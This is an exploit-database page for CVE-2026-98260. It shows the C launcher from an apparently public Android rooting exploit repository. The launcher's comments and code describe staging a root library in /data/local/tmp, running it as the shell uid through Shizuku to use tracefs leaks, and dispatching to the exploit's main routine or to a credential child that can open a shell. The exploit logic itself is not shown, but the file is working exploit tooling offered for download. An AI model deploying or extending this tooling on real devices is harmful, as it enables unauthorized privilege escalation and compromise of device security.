Exploit databaseDownload repository ZIP
GH-5225a0f2381ae4b97f53ac973c820941
woshigenm/cve-2026-98260
Sources for CVE-2026-98260
61 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
woshigenm/cve-2026-98260Revision a3626e92f241
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
app/native/launcher.c
C · 2,107 bytes/*
* SPDX-License-Identifier: MIT
* Copyright (C) 2026 woshigenm <[email protected]>
*/
/*
* Launcher for the app's native library.
*
* The Android app cannot run the exploit in its own (untrusted_app) domain:
* the tracefs leaks require the shell uid. The UI therefore deploys this
* launcher plus libmagicroot.so to /data/local/tmp and runs the launcher
* through Shizuku, i.e. as uid 2000.
*
* The launcher only dlopens the library and dispatches:
* argv[0] == "" -> the execing timer thread (exit quietly)
* argv[1] == "wait" -> cve98260_wait(), the exec'd cred child
* otherwise -> cve98260_main(), the exploit
*/
#define _GNU_SOURCE
#include <dlfcn.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
static const char *lib_path(void)
{
static char buf[PATH_MAX];
const char *env = getenv("CVE_SO");
ssize_t n;
if (env && *env)
return env;
n = readlink("/proc/self/exe", buf, sizeof(buf) - 1);
if (n <= 0)
return "./libmagicroot.so";
buf[n] = 0;
char *slash = strrchr(buf, '/');
if (!slash)
return "./libmagicroot.so";
strcpy(slash + 1, "libmagicroot.so");
return buf;
}
int main(int argc, char **argv)
{
void *h;
int (*run_main)(int, char **);
int (*run_wait)(int);
const char *so;
if (argc > 0 && argv[0] && argv[0][0] == '\0')
return 42;
so = lib_path();
h = dlopen(so, RTLD_NOW | RTLD_GLOBAL);
if (!h) {
fprintf(stderr, "dlopen %s failed: %s\n", so, dlerror());
return 90;
}
run_main = (int (*)(int, char **))dlsym(h, "cve98260_main");
run_wait = (int (*)(int))dlsym(h, "cve98260_wait");
if (argc > 1 && !strcmp(argv[1], "wait")) {
if (!run_wait) {
fprintf(stderr, "cve98260_wait missing\n");
return 91;
}
return run_wait(argc > 2 && !strcmp(argv[2], "shell"));
}
if (!run_main) {
fprintf(stderr, "cve98260_main missing\n");
return 92;
}
return run_main(argc, argv);
}